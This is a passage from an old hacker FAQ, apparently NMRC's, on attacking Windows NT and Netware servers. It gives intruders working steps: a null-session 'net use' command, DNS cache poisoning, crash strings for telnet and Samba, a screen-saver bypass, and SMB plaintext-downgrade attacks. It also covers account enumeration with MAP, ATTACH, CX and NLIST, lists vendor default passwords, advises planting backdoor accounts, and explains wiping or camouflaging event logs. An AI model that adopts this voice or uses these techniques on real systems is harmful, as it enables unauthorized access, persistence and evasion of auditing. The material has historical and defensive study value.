"The NetBIOS Auditing Tool (NAT) is designed to explore the NETBIOS
file-sharing services offered by the target system. It implements a
stepwise approach to gather information and attempt to obtain file
system-level access as though it were a legitimate local client.
"The major steps are as follows:
"A UDP status query is sent to the target, which usually elicits a
reply containing the Netbios 'computer name'. This is needed to
establish a session. The reply also can contain other information such
as the workgroup and account names of the machine's users. This part
of the program needs root privilege to listen for replies on UDP port
137, since the reply is usually sent back to UDP port 137 even if the
original query came from some different port.
"TCP connections are made to the target's Netbios port [139], and
session requests using the derived computer name are sent across.
Various guesses at the computer name are also used, in case the status
query failed or returned incomplete information. If all such attempts
to establish a session fail, the host is assumed invulnerable to
NETBIOS attacks even if TCP port 139 was reachable.
"Provided a connection is established Netbios 'protocol levels' are
now negotiated across the new connection. This establishes various
modes and capabilities the client and server can use with each other,
such as password encryption and if the server uses user-level or
share-level Security. The usable protocol level is deliberately
limited to LANMAN version 2 in this case, since that protocol is
somewhat simpler and uses a smaller password keyspace than NT.
"If the server requires further session setup to establish
credentials, various defaults are attempted. Completely blank
usernames and passwords are often allowed to set up standard account
names such as ADMINISTRATOR, and some of the names returned from the
status query. Extensive username/password checking is NOT done at this
point, since the aim is just to get the session established, but it
should be noted that if this phase is reached at all MANY more guesses
can be attempted and likely without the owner of the target being
immediately aware of it.
"Once the session is fully set up, transactions are performed to
collect more information about the server including any file system
'shares' it offers.
"Attempts are then made to connect to all listed file system shares
and some potentially unlisted ones. If the server requires passwords
for the shares, defaults are attempted as described above for session
setup. Any successful connections are then explored for writeability
and some well-known file-naming problems [the ".." class of bugs].
"If a NETBIOS session can be established at all via TCP port 139, the
target is declared under the appropriate vulnerability at most of
these steps, since any point along the way be blocked by the Security
configurations of the target. Most Microsoft-OS based servers and Unix
SAMBA will yield computer names and share lists, but not allow actual
file-sharing connections without a valid username and/or password. A
remote connection to a share is therefore a possibly serious Security
problem, and a connection that allows WRITING to the share almost
certainly so. Printer and other 'device' services offered by the
server are currently ignored."
If you need more info on NAT, try looking at this web location:
http://www.secnet.com/ntinfo/ntaudit.html
<http://www.secnet.com/ntinfo/ntaudit.html>
1111..77.. WWhhaatt iiss tthhee ""RReedd BBuuttttoonn"" bbuugg??
MWC has released an exploit that allows the following to occur -- the
registry of a remote machine can be accessed, a list of users AND of
shares can be obtained, even if the intruder hasn't logged in.
There is a built in user called "anonymous" that is usually used for
communication between machines. This exploit takes advantage of the
fact that anonymous is a member of the group Everyone. Because of
this, the following can be done:
+o Any share that can be accessed by Everyone is vulnerable.
+o System and application logs can be read.
+o Any NT machine with NetBios bound to the network can have its
registry read or written to if Everyone has that access.
+o Using Lan Manager calls can give a list of all users, the
Administrator (if renamed), and a list of all shares.
Using this access a trojan could be loaded, since often the group
Everyone has access to application software.
It is possible that a Sys Admin could have unbound NetBios from the
interface. This would disallow some access. Typically at a security
aware site you would find the machines outside the firewall, like the
Web server or FTP server configured this way (and all other access
blocked by the firewall. However if you compromise the machine this
could be a handy partial backdoor -- especially if you are using one
machine as a "drop" during an attack.
The bug can manually be done -- no exploit code needed. Try this from
a 4.00 workstation:
net use \\targetserver\ipc$ "" /user:""
Now run User Manager, Event Viewer, Registry Editor, or simply use the
net command to target the remote machine.
The administrator account's SID always ends in -500 (Guest is -501) so
find that and you have the administrator account, even if renamed. The
built-in local groups (documented and undocumented) always have the
same SID, so check out your own machine first and compare --
especially if some of these have been renamed.
If all the users are moved from the Everyone group, you not be able to
exploit this. For you admins out there, ISS has released a tool to
automate this "move users out of Everyone" process. And admins you
should check and see what shares that Everyone can get to.
MWC's web site is http://www.ntsecurity.com/
<http://www.ntsecurity.com/>, and the exploit code can be found there.
ISS's tool can be found at ftp://ftp.iss.net/everyone2users.exe
<ftp://ftp.iss.net/everyone2users.exe>.
1111..88.. WWhhaatt aabboouutt ffoorrggiinngg DDNNSS ppaacckkeettss ffoorr ssuubbvveerrssiivvee ppuurrppoosseess??
Sure. ;-)
By forging UDP packets, NT name server caches can be compromised. If
recursion is allowed on the name server, you can do some nasty things.
Recursion is when a server receives a name server lookup request for a
zone or domain for which is does not serve. This is typical how most
setups for DNS are done.
So how do we do it? We will use the following example:
We are root on ns.nmrc.org, IP 10.10.10.1. We have pirate.nmrc.org
with an address of 10.10.10.2, and bait.nmrc.org with an address of
10.10.10.3. Our mission? Make the users at lame.com access
pirate.nmrc.org when they try to access www.lamer.net.
Okay, assume automation is at work here to make the attack smoother...
+o DNS query is sent to ns.lame.com asking for address of
bait.nmrc.org.
+o ns.lame.com asks ns.nmrc.org what the address is.
+o The request is sniffed, and the query ID number is obtained from
the request packet.
+o DNS query is sent to ns.lame.com asking for the address of
www.lamer.net.
+o Since we know the previous query ID number, chances are the next
query ID number will be close to that number.
+o We send spoofed DNS replies with several different query ID
numbers. These replies are spoofed to appear to come from
ns.lamer.net, and state that its address is 10.10.10.2.
+o pirate.nmrc.org is set up to look like www.lamer.net, except maybe
it has a notice to "go to the new password page and set up an
account and ID". Odds are this new password is used by that
lame.com user somewhere else...
With a little creativity, you can also do other exciting things like
reroute (and make copies of) email, denial of service (tell lame.com
that www.lamer.net doesn't exist anymore), and other fun things.
Supposedly SP 3 fixes this.
1111..99.. WWhhaatt aabboouutt sshhaarreess??
The main thing to realize about shares is that there are a few that
are invisible. Administrative shares are default accounts that cannot
be removed. They have a $ at the end of their name. For example C$ is
the administrative share for the C: partition, D$ is the
administrative share for the D: partition. WINNT$ is the root
directory of the system files.
By default since logging is not enabled on failed attempts and the
administrator doesn't get locked out from false attempts, you can try
and try different passwords for the administrator account. You could
also try a dictionary attack. Once in, you can get at basically
anything.
1111..1100.. HHooww ddoo II ggeett aarroouunndd aa ppaacckkeett ffiilltteerr--bbaasseedd ffiirreewwaallll??
If the target NT box is behind a firewall that is doing packet
filtering (which is not considered firewalling by many folks) and it
does not have SP3 loaded it is possible to send it packets anyway.
This involves sending decoy IP packet fragments with specially crafted
headers that will be "reused" by the malicious IP packet fragments.
This is due to a problem with the way NT's TCP/IP stack handles
reassembling fragmented packets. As odd as this sounds, example code
exists to prove it works. See the web page at
http://www.dataprotect.com/ntfrag <http://www.dataprotect.com/ntfrag>
for details.
How does it bypass the packet filter? Typically packet filtering only
drops the fragmented packet with the offset of zero in the header. The
example source forges the headers to get around this, and NT happily
reassembles what does arrive.
1111..1111.. II hhaacckk ffrroomm mmyy LLiinnuuxx bbooxx.. HHooww ccaann II ddoo aallll tthhaatt GGUUII ssttuuffff oonn
rreemmoottee NNTT sseerrvveerrss??
Try and get familiar with the net use and net user commands before
attacking.
The main problem is adjusting NT file security attributes. Some
utilities are available with NT that can be used, but I'd recommend
using the NT Command Line Security Utilities. They include:
saveacl.exe - saves file, directory and ownership permissions to a file
restacl.exe - restores file permissions and ownership from a saveacl file
listacl.exe - lists file permissions in human readable format
swapacl.exe - swaps permissions from one user or group to another
grant.exe - grants permissions to users/groups on files
revoke.exe - revokes permissions to users/groups on files
igrant.exe - grants permisssions to users/groups on directories
irevoke.exe - revokes permissions to users/groups on directories
setowner.exe - sets the ownership of files and directories
nu.exe - 'net use' replacement, shows the drives you're connected to
The latest version can be found at
ftp://ftp.netcom.com/pub/wo/woodardk/
<ftp://ftp.netcom.com/pub/wo/woodardk/>.
1122.. NNTT DDeenniiaall ooff SSeerrvviiccee
This section deals with ``Denial of Service'' attacks that are
specific to NT.
1122..11.. WWhhaatt ccaann tteellnneett ggiivvee mmee iinn tthhee wwaayy ooff ddeenniiaall ooff sseerrvviiccee??
There are several DoS attacks involving a simple telnet client that
can be used against an NT server.
First, by telnetting to port 53, 135, or 1031, and then typing in
about 10 or so characters and hitting enter will cause problems. If
DNS (port 53) is running, DNS will stop. If 135 answers, the CPU
utilization will increase to 100%, slowing performance. And if port
1031 is hit, IIS will get knocked down. Typically the fix is to reboot
the server, as it will be hung or so slow as to render it useless.
Telnetting to port 80 and typing "GET ../.." will also crash IIS.
If the latest service pack is loaded the attack will not work.
1122..22.. WWhhaatt ccaann II ddoo wwiitthh SSaammbbaa??
Don't get me started ;-)
As far as DoS, if you connect to a server with Samba to 3.X NT that
does not have the latest service pack loaded, you can send it "DIR
..\" and crash it.
1122..33.. WWhhaatt''ss wwiitthh RROOLLLLBBAACCKK..EEXXEE??
If the file ROLLBACK.EXE is executed, the registry can be wiped. You
must re-install or do a complete restore if this happens to you. Sys
Admins will probably want to remove this file. Renamed, it makes for
one hell of a nasty trojan.
It is reportedly possible to lock onto a port, say like port 19, and
when the server crashes and comes up ROLLBACK.EXE will start trying to
unlock the port and subsequently opens up the registry for anyone to
wipe it. I was unsuccessful in getting this to happen in the lab, but
probably because I find DoS attacks rather lame I didn't try very hard
to get it to work. But others claim it can happen, so keep it in mind.
1122..44.. WWhhaatt iiss aann OOOOBB aattttaacckk??
This attack is fairly simple, and a fair amount of source code is
available. Basically it involves sending an out-of-band message to a
Windows operating system. Typically port 139 is used. This was patched
with SP3 and a Hot Fix but apparently with a little monkeying around
with the code you can get around this.
This DoS is very popular, mainly because of the wide variety of
implementations of sockets. I've seen Unix and Windows NT versions of
code, an implementation in Perl, and even an implementation using the
Rexx Socket APIs on OS/2.
If you are so inclined, try a web search for "winnuke" which will get
you probably a thousand locations with the code.
1122..55.. AArree tthheerree aannyy ootthheerr DDeenniiaall ooff SSeerrvviiccee aattttaacckkss??
If a domain user logs onto the console, creates a file and removes its
permissions, it is possible that another user can log onto the console
and delete the file. The problem affects all versions of NT. However,
this isn't what I'd consider "Denial of Service" as it is more like
denial of a file. Depending on the file, though, it could be used as
DoS.
If you are running smbmount with version 2.0.25 of Linux, you can
crash an NT server. smbmount is intended to be run on Linux 2.0.28 or
higher, so it doesn't work right on 2.0.25. You also need a legit user
account. Running as root, type smbmount //target/service /mnt -U
client_name, followed by ls /mnt will hang the shell on Linux (no
biggie) and blue screen the target server (biggie).
The final DoS I'm aware of involves Microsoft's DNS on NT 4.0 server.
If you send it a DNS response when it did not make a query, DNS will
crash.
The latest service packs and post service pack patches fix all of
these problems.
1133.. NNTT LLooggggiinngg aanndd BBaacckkddoooorrss
This section contains info regarding logging and backdoors for NT.
1133..11.. WWhheerree aarree tthhee ccoommmmoonn lloogg ffiilleess iinn NNTT??
These are located in %root%\SYSTEM32\CONFIG. They are:
+o AppEvent.Evt - Records events involving the running of certain
applications.
+o SecEvent.Evt - Records security events.
+o SysEvent.Evt - Records basic events.
As a hacker do not worry about the AppEvent.Evt file much -- you are
mainly concerned with items in the regular event log (the SysEvent.Evt
file) and the security log (the SecEvent.Evt). By default regular
users should be able to read the regular event log, and you may wish
to look that over if you can to see if your "visit" left a trace. If
it did and the entries look out of place, consider adding entries from
other users that are similiar by accessing the system as these other
users.
You have to have Administrative Group rights to view the security
event log. And you'll certainly want to check that to see what is in
it.
1133..22.. HHooww ddoo II eeddiitt//cchhaannggee NNTT lloogg ffiilleess wwiitthhoouutt bbeeiinngg ddeetteecctteedd??
Well this can be a little tricky as these files are locked in place
during NT's operation. You have a couple of choices at this time --
wipe the logs or try to add stuff to them to add camoflage
obfuscation. Not elegant, but better than nothing.
1144.. NNTT MMiisscc.. AAttttaacckk IInnffoo
This section has miscellaneous information regarding hacking and NT.
1144..11.. HHooww iiss ffiillee aanndd ddiirreeccttoorryy sseeccuurriittyy eennffoorrcceedd??
Since files and directories are considered objects (same as services),
the security is managed at an "object" level.
An access-control list (ACL) contains information that controls access
to an object or controls auditing of attempts to access an object. It
begins with a header contains information pertaining to the entire
ACL, including the revision level, the size of the ACL, and the number
of access-control entries (ACEs) in the list.
After the header is a list of ACEs. Each ACE specifies a trustee, a
set of access rights, and flags that dictate whether the access rights
are allowed, denied, or audited for the trustee. A trustee can be a
user account, group account, or a logon account for a service program.
A security descriptor can contain two types of ACLs: a discretionary
ACL (DACL) and a system ACL (SACL).
In a DACL, each ACE specifies the types of access that are allowed or
denied for a specified trustee. An object's owner controls the
information in the object's DACL. For example, the owner of a file
can use a DACL to control which users can have access to the file, and
which users are denied access.
If the security descriptor for an object does not have a DACL, the
object is not protected and the system allows all attempts to access
the object. However, if an object has a DACL that contains no ACEs,
the DACL does not grant any access rights. In this case, the system
denies all attempts to access the object.
In a SACL, each ACE specifies the types of access attempts by a
specified trustee that cause the system to generate audit records in
the system event log. A system administrator controls the information
in the object's SACL. An ACE in a SACL can generate audit records when
an access attempt fails, when it succeeds, or both.
To keep track of the individual object, a Security Identifier (SID)
uniquely identify a user or a group.
A SID contains:
+o User and group security descriptors
+o 48-bit ID authority
+o Revision level
+o Variable subauthority values
A privilege is used to control access to a service or object more
strictly than is normal with discretionary access control. Privileges
provide access to services rarely needed by most users. For example,
one type of privilege might give access for backups and restorals,
another might allow the system time to be changed.
1144..22.. WWhhaatt iiss NNTTFFSS??
NTFS is the Windows NT special file system. This file system is
tightly integrated into Windows security -- it is what allows access
levels to be set from the directory down to individual files within a
directory.
1144..33.. AArree tthheerree aarree vvuullnneerraabbiilliittiieess ttoo NNTTFFSS aanndd aacccceessss ccoonnttrroollss??
Not so much vulnerabilities as there are quirks -- quirks that can be
exploited to a certain degree.
For example, let's say the system admin has built a home directory for
you on the server, but has disallowed the construction of directories
or files that you wish to make available to the group Everyone. You
are wanting to make this special directory so that you can easily
retrieve some hack tools but you are cut off. However, if the sys
admin left you as the owner of the home directory, you can go in and
alter its permissions. This is because as long as you are the owner or
Administrator you still control the file. Oh sure, you may get a few
complaints from the system when you are doing it, but it can be done.
Since NTFS has security integrated into it, there are not too many
ways around it. The main one requires access to the physical system.
Boot up the system on a DOS diskette, and use NTFSDOS.EXE. It will
allow you to access an NTFS volume bypassing security.
The last quirk is that if you have a directory with Full Control
instead of RWXDPO permissions, then you get a hidden permission called
File Delete Child. FDC cannot be removed. This means that all members
of the group Everyone can delete any read-only file in the directory.
Depending on what the directory contains, a hacker can replace a file
with a trojan.
1144..44.. WWhhaatt iiss SSaammbbaa aanndd wwhhyy iiss iitt iimmppoorrttaanntt??
Samba is a freeware app developed by Andy Tridgell. It is a great tool
for helping integrate Unix into Microsoft Windows and Lan Manager
environments. The main idea is that you can, with Samba, allow a Unix
machine to access file and directories. The other handy thing about
Samba is that like most Unix freeware you get the source code.
Most hackers seem to have Linux up and running, so loading up Samba
allows you several tactical advantages. A number of the exploits
described here require access to a privileged port (< 1024). If you
are root on your own Linux box, you can start exploits from those
needed ports. A lot of the tests in the NMRC lab were conducted using
Samba. In fact when World Star Holdings Ltd in Canada had their lame
Cybertest '96 contest on June 12th, yours truly used Samba to break in
(but I wasn't first).
Samba talks SMB and can directly access Windows NT hardware, and
Hobbit (hobbit@avian.org) has put together a very interesting paper
entitled "CIFS: Common Insecurities Fail Scrutiny". It is highly
recommended reading for admins and hackers alike. Included in the
paper are details and source patches to allow easier attacking on NT.
Studying the source code of Samba taught me a lot, but Hobbit's paper
puts everything in a whole new light. It provides some well documented
basics on how a lot of the communications work, detailing exactly WHY
certain protocols and behaviours are vulnerable to abuse.
Get Samba and read its documentation. Read Hobbit's paper and apply
the patches. Period.
1144..55.. HHooww ddoo II bbyyppaassss tthhee ssccrreeeenn ssaavveerr??
If a user has locked their local workstation using CTRL+ALT+DEL, and
you can log in as an administrator, you will have a window of a few
seconds where you will see the user's desktop, and even manipulate
things. This trick works on NT 3.5 and 3.51, unless the latest service
pack has been loaded.
If the service pack has been loaded, but it's still 3.X, try the
following.
+o From another NT workstation, type shutdown \\ /t:30
+o This will start a 30 second shutdown on the target and a Security
window will pop up.
+o Cancel the shutdown with shutdown \\ /a
+o The screen saver will kick back in.
+o Wiggle the mouse on the target. The screen will go blank.
+o Now do a ctrl-alt-del on the target.
+o An NT Security window will appear. Select cancel.
+o You are now at the Program Manager.
1144..66.. HHooww ccaann II ddeetteecctt tthhaatt aa mmaacchhiinnee iiss iinn ffaacctt NNTT oonn tthhee nneettwwoorrkk??
Hopefully it is a web server, and they've simply stated proudly "we're
running NT", but don't expect that...
Port scanning will find some. Typically you'll see port 135 open. This
is no guarantee it's not Windows 95, however. Using Samba you should
be able to connect and query for the existence of
HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT and then check
\CurrentVersion\CurrentVersion to determine the version running. If
guest is enabled, try this first as Everyone has read permissions here
by default.
Port 137 is used for running NetBios over IP, and since in the Windows
world NetBios is used, certainly you can expect port 137 to be open if
IP is anywhere in use around NT.
Another possible indication is checking for port 139. This tells you
your target is advertising an SMB resource to share info, but it could
be any number of things, such as a Windows 95 machine or even Windows
for Workgroups. These may not be entirely out of the question as
potential targets, but if you are after NT you will have to use a
combination of the aforementioned techniques coupled with some common
sense.
To simplify this entire process, Secure Networks Inc. has a freeware
utility called NetBios Auditing Tool. This tool's intent is to test
NetBios file sharing configurations and passwords on remote systems.
It is discussed more in detail in the ``NT Client Attack'' section.
1144..77.. CCaann II ddoo oonn--tthhee--ffllyy ddiisskk eennccrryyppttiioonn oonn NNTT??
Try Shade. It allows you to create an encrypted disk device inside a
file. This "device" can then be formatted using either NTFS or FAT and
used as a regular disk. Shade encrypts on every write operation and
decrypts on every read operation to this new device.
Look for Shade at: http://softwinter.bitbucket.co.il/shade.html
<http://softwinter.bitbucket.co.il/shade.html>
1144..88.. DDooeess tthhee FFTTPP sseerrvviiccee aallllooww ppaassssiivvee ccoonnnneeccttiioonnss??
I was playing around in the registry, looking for odd things, and
found this strange entry under
System\CurrentControlSet\Services\MSFTPSVC\Parameters:
EnablePortAttack: REG_DWORD:
If set to 1, you can do passive connections depending on the TCP port
you use. A passive connection is where you can connect to FTP site
alice.com, and from there connect to site bob.com. It is used by
hackers because any odd connections at bob.com will appear in logs as
coming from alice.com. Most typical is a port scan.
A port scanner for doing this from a Unix box can be found at
http://www.nmrc.org/files/unix/ftp-scan.c
<http://www.nmrc.org/files/unix/ftp-scan.c>
1144..99.. WWhhaatt iiss tthhiiss ""ppoorrtt ssccaannnniinngg"" yyoouu aarree ttaallkkiinngg aabboouutt??
Port scanning is a technique to check TCP/IP ports to see what
services are available. For example port 80 is typically a web
server, port 25 is SMTP used by Internet mail and so on. By scanning
and seeing what TCP/IP ports are listening at the end of a TCP/IP
address, you can get an idea as to what type of box the target might
be, what services are available, and possibly plan an attack if you
are aware of an exploit involving a particular service.
If port 135, 137, 138, and 139 are open on the target of a scan, it is
quite possible that the target is NT (although it could be Win95 or
even WFW 3.11, see the questions and answers above).
1144..1100.. DDooeess NNTT hhaavvee bbuuggss lliikkee UUnniixx'' sseennddmmaaiill??
If the server is running a POP3 server like Exchange, you can use a
brute force technique to guess passwords. Odds are that the sys admin
is not logging or looking at logs for this stuff. In particular, if
you are dealing with a sys admin that isn't used to the wild and wooly
Unix world, it may not even occur to the admin to look. This is
something that NT folks are just now having to face, whereas their
Unix admin counterparts have had to maintain this level of scrutiny
for a while.
1144..1111.. HHooww iiss ppaasssswwoorrdd cchhaannggiinngg rreellaatteedd ttoo ""llaasstt llooggiinn ttiimmee""??
Let's say an admin is checking the last time certain users have logged
in by doing a NET USER /DOMAIN. Is the info accurate? Most of the time
it will NOT be.
Most users do not login directly to the Primary Domain Controller
(PDC), they login to a Backup Domain Controller (BDC). BDCs do NOT
contain readonly versions of SAM, they contain read-write versions. To
keep the already ungodly amount of network traffic down, BDCs do not
tell the PDC that they have an update of the last login time until a
password change has been done. And the NET USER /DOMAIN command checks
the PDC, so last login time returned from this command could be wildly
off (it could even show NEVER).
As a hacker, if you happen to know that password aging is not
enforced, then you can bet that last login times will probably not be
very accurate
1144..1122.. CCaann sseessssiioonnss bbee hhiijjaacckkeedd??
In theory, however no one has yet coded the exploit. It would involve
a complex spoofing job where not only would the session have to be
hijacked at the transport level (getting all of the ACK/NACK numbering
correct), but the tree ID (TID) and user ID (UID) would have to be
spoofed at the redirector and server level respectively. We are
talking SMB at this point.
A more likely session to be hijacked would be a telnet session to an
NT server, but this applies to any straight telnet session, NT or not,
and is beyond the scope of this question. For more information refer
to http://www.nmrc.org/files/unix/ip-exploit.txt..
1144..1133.. AArree ""mmaann iinn tthhee mmiiddddllee"" aattttaacckkss ppoossssiibbllee??
Ealry versions of LANMAN send the password in the clear -- which is
definately sniffer-bait. But the challenge/response authentication
used by LANMAN 2.1 and earlier is subject to possible attack -- namely
a plaintext attack. Since the challenge is plaintext, an attacker can
acquire known plaintext/ciphertext pairs. Offline, the attacker can
then test a guess at a password by using it to generate a key,
encrypting the plaintext, and comparing it to the corresponding
ciphertext. If it matches, the password is compromised.
Since case doesn't matter, a brute force attack is theoretically
possible against plaintext/ciphertext pair obtained via a known
plaintext attack.
However, this is simply offline attacking. A true man-in-the-middle
attack allows a third party to intercept and replace components of the
challenge/response conversation with their own, acquiring the password
or even taking over the session itself. However, the easier of the two
is getting the password.
By catching the start of a conversation and forging the challenge, the
client would response with the response to the server, and the
attacker would know a part of the equation, shortening the time and
effort needed to break the plaintext/ciphertext pair.
By "precompiling" a list of response/password pairs, the password
could be determined even quicker.
NT LM 0.12 uses MD4 to generate keying material, and since upper and
lower case are allowed, the full 56 bits allowed by DES can be used.
This does not eliminate the problem -- it simply increases the
difficulty of brute force against a plaintext/ciphertext pair.
However this does nothing towards a realtime attack. The best method
would be as follows:
+o Client starts a session.
+o Attacker sees this session, and waits for the response from the
server.
+o Server sends the response and the Attacker grabs it.
+o Attacker removes the SMB_COM_NEGPROT bit and sends it to the
Client.
+o Client receives the Attacker's packet, and now assumes a plaintext
password should be used.
+o Client receives the real packet from the server, but ignores it
thinking it is a dupe.
+o Client sends the password in plaintext.
+o Attacker grabs the password and now logs into the Server directly.
+o Client times out or gets an error, and figures a network error has
occurred. Client tries to log in again.
It is also possible in theory to catch the session before the
authentication process even starts. For example:
+o Client starts a session, and sends a request to the DNS server to
resolve a host name.
+o Attacker sees this request, and forges a reply that the Attacker's
IP address is the address for the host the Client is requesting.
+o Attacker sends request to DNS server cancelling Client's request.
+o Client starts to log into Attacker.
+o Attacker tells Client to send the password as plaintext.
+o Client complies, and Attacker proceeds to login to original host
that the Client was asking the DNS server about.
+o Attacker kills the session with the Client, and the Client thinks
an error has occurred, and tries again.
This attack has been partially implemented with the c2myazz file,
which forces a plaintext login.
1144..1144.. WWhhaatt aabboouutt TTCCPP SSeeqquueennccee NNuummbbeerr PPrreeddiiccttiioonn??
This is possible, but unlikely, on anything requiring the TID and UID
as a part of the spoof. TCP Sequence Number Prediction involves
guessing what the TCP numbering sequence is, and inserting packets to
(typically) execute commands on the target host with the proper
sequence number.
1144..1155.. WWhhaatt''ss tthhee ssttoorryy wwiitthh bbuuffffeerr oovveerrfflloowwss oonn NNTT??
Dildog has written the definative paper on the subject. Check out "The
Tao of Windows Buffer Overflow" at http://www.cultdeadcow.com/cDc-351/
<http://www.cultdeadcow.com/cDc-351/> for a complete picture of buffer
overflows, how they work, and how to code your own exploits for
Microsoft operating systems.
1155.. NNeettwwaarree BBaassiiccss
The following section covers the basics regarding Netware security.
1155..11..
1166.. NNeettwwaarree AAccccoouunnttss
The following section deals with Accounts on Netware systems.
1166..11.. WWhhaatt aarree ccoommmmoonn aaccccoouunnttss aanndd ppaasssswwoorrddss ffoorr NNeettwwaarree??
Out of the box Novell Netware has the following default accounts -
SUPERVISOR, GUEST, and Netware 4.x has ADMIN and USER_TEMPLATE as
well. All of these have no password to start with. Virtually every
installer quickly gives SUPERVISOR and ADMIN a password. However, many
locations will create special purpose accounts that have easy-to-guess
names, some with no passwords. Here are a few and their typical
purposes:
Account Purpose
---------- ------------------------------------------------------
PRINT Attaching to a second server for printing
LASER Attaching to a second server for printing
HPLASER Attaching to a second server for printing
PRINTER Attaching to a second server for printing
LASERWRITER Attaching to a second server for printing
POST Attaching to a second server for email
MAIL Attaching to a second server for email
GATEWAY Attaching a gateway machine to the server
GATE Attaching a gateway machine to the server
ROUTER Attaching an email router to the server
BACKUP May have password/station restrictions (see below), used
for backing up the server to a tape unit attached to a
workstation. For complete backups, Supervisor equivalence
is required.
WANGTEK See BACKUP
FAX Attaching a dedicated fax modem unit to the network
FAXUSER Attaching a dedicated fax modem unit to the network
FAXWORKS Attaching a dedicated fax modem unit to the network
TEST A test user account for temp use
ARCHIVIST Palidrome default account for backup
CHEY_ARCHSVR An account for Arcserve to login to the server from
from the console for tape backup. Version 5.01g's
password was WONDERLAND. Delete the Station
Restrictions and use SUPER.EXE to toggle this
account and you have an excellent backdoor.
WINDOWS_PASSTHRU Although not required, per the Microsoft Win95
Resource Kit, Ch. 9 pg. 292 and Ch. 11 pg. 401 you
need this for resource sharing without a password.
ROOT Found on Shiva LanRovers, gets you the command-line
equiv of the AdminGUI. By default, no password. A lot
admins just use the AdminGUI and never set up a
password.
VARs (Value Added Resellers) repackage Netware with their own hardware
or with custom software. Here is a short list of known passwords:
VAR Account Password Purpose
------- ---------- -------- -------------------------------------------
STIN SUPERVISOR SYSTEM Travel agency running SABRE
STIN SABRE -none- Like a guest account
STIN WINSABRE WINSABRE Windows guest account for NW 2.15c
STIN WINSABRE SABRE Windows guest account for NW 3.x
HARRIS SUPERVISOR HARRIS Tricord reseller, ships NW preinstalled
NETFRAME SUPERVISOR NF Also NETFRAME and NFI
NETFRAME aaa New installation default password
This should give you an idea of accounts to try if you have access to
a machine that attaches to the server. A way to "hide" yourself is to
give GUEST or USER_TEMPLATE a password. Occassionally admins will
check up on GUEST, but most forget about USER_TEMPLATE. In fact, _I
forgot about USER_TEMPLATE until itsme reminded me.
This list is also a good starting point for account names for
"backdoors". In some environments these account names will be left
alone, particularly in large companies, especially Netware 4.x sites
with huge trees. And don't forget account names like Alt-255 or NOT-
LOGGED-IN.
1166..22.. HHooww ccaann II ffiigguurree oouutt vvaalliidd aaccccoouunntt nnaammeess oonn NNeettwwaarree??
Any limited account should have enough access to allow you to run
SYSCON, located in the SYS:PUBLIC directory. If you get in, type
SYSCON and enter. Now go to User Information and you will see a list
of all defined accounts. You will not get much info with a limited
account, but you can get the account and the user's full name.
If your in with any valid account, you can run USERLST.EXE and get a
list of all valid account names on the server.
If you don't have access (maybe the sys admin deleted the GUEST
account, a fairly common practice), you can't just try any account
name at the LOGIN prompt. It will ask you for a password whether the
account name is valid or not, and if it is valid and you guees the
wrong password, you could be letting the world know what you're up to
if Intruder Detection is on. But there is a way to determine if an
account is valid.
From a DOS prompt use a local copy (on your handy floppy you carry
everywhere) of MAP.EXE. After you've loaded the Netware TSRs up
through NETX or VLM, Try to map a drive using the server name and
volume SYS:. For example:
MAP G:=TARGET_SERVER/SYS:APPS
Since you are not logged in, you will be prompted for a login ID. If
it is a valid ID, you will be prompted for a password. If not, you
will immediately receive an error. Of course, if there is no password
for the ID you use you will be attached and mapped to the server. You
can do the same thing with ATTACH.EXE:
ATTACH TARGET_SERVER/loginidtotry
The same thing will happen as the MAP command. If valid, you will be
prompted for a password. If not, you get an error.
Another program to check for valid users and the presence of a
password is CHKNULL.EXE by itsme. This program checks for users and
whether they have a password assigned.
In 4.1 CHKNULL shows you every account with no password and you do not
have to be logged in. For this to work bindery emulation must be on.
But there is another way to get them in 4.1:
Once you load up the VLMs you may be able to view the entire tree, or
at least all of the tree you could see if logged in. Try this:
CX /T /A /R
During the installation of 4.1, [Public] has browse access to the
entire tree because [Public] is added to [Root] as a Trustee. The
Inherited Rights Filter flows this stuff down unless explicitly
blocked. If you have the VLMs loaded and access to CX, you don't even
have to log in, and you can get the name of virtually every account on
the server.
If CX /T /A /R works, then NLIST USER /D will yield a massive amount
of information, including who belongs to what groups, and their object
ID. By combining the information between these two along with other
NLIST options, you can learn a lot about an NDS tree and a server.
Here a few more that come in handy:
NLIST GROUPS /D -List of groups, descriptions, and members.
NLIST SERVER /D -List of servers, versions, if attached you can determine if accounting is installed.
NLIST /OT=* /DYN /D -List of all readable objects, including dynamic objects, names of NDS trees, etc.
Between using CHKNULL, CX, and NLIST an intruder could not only learn
who is in what group and who has access to what, but certainly could
learn who the administrators are, and specifically select accounts for
attack.
Finally, consider using the Intruder utility from NMRC's Pandora v3.0.
This utility has a mode that allows you to give it a list of potential
account names, and it will tell you if they are valid and even if they
have no password. See http://www.nmrc.org/pandora/index.html
<http://www.nmrc.org/pandora/index.html> for details.
1177.. NNeettwwaarree PPaasssswwoorrddss
This section deals with Netware passwords.
1177..11.. HHooww ddoo II aacccceessss tthhee ppaasssswwoorrdd ffiillee iinn NNeettwwaarree??
Contrary to not-so-popular belief, access to the password file in
Netware is not like Unix - the password file isn't in the open. All
objects and their properties are kept in the bindery files on 2.x and
3.x, and kept in the NDS database in 4.x. An example of an object
might be a printer, a group, an individual's account etc. An example
of an object's properties might include an account's password or full
user name, or a group's member list or full name. The bindery files
attributes (or flags) in 2.x and 3.x are Hidden and System, and these
files are located on the SYS: volume in the SYSTEM subdirectory. Their
names are as follows:
Netware version File Names
--------------- ----------
2.x NET$BIND.SYS, NET$BVAL.SYS
3.x NET$OBJ.SYS, NET$PROP.SYS, NET$VAL.SYS
The NET$BVAL.SYS and NET$VAL.SYS are where the passwords are actually
located in 2.x and 3.x respectively.
In Netware 4.x, the files are located in a different location on the
SYS: volume. It is a hidden directory called _NETWARE. In this
directory are located the NDS files, license files, and a number of
other system-related files such as login scripts and auditing files.
File What it is
-------------- --------------------------
VALUE.NDS Object and property values
BLOCK.NDS Extended property values
ENTRY.NDS Object and property types
PARTITIO.NDS NDS partition info (replication info, etc.)
MLS.000 License file.
VALINCEN.DAT License validation
To view the hidden SYS:_NETWARE directory, you can try to use RCONSOLE
and the Scan Directory option, although later versions of Netware 4.x
have patched this (starting with 410pt3). Here is another way to view
these files, and potentially edit them. After installing NW4 on a NW3
volume, reboot the server with a 3.x SERVER.EXE. On volume SYS will be
the _NETWARE directory. SYS:_NETWARE is hidden better on 4.1 than
4.0x, but in pre-410pt3 patched 4.1 you can still see the files by
scanning directory entry numbers using NCP calls (you need the APIs
for this) using function 0x17 subfunction 0xF3.
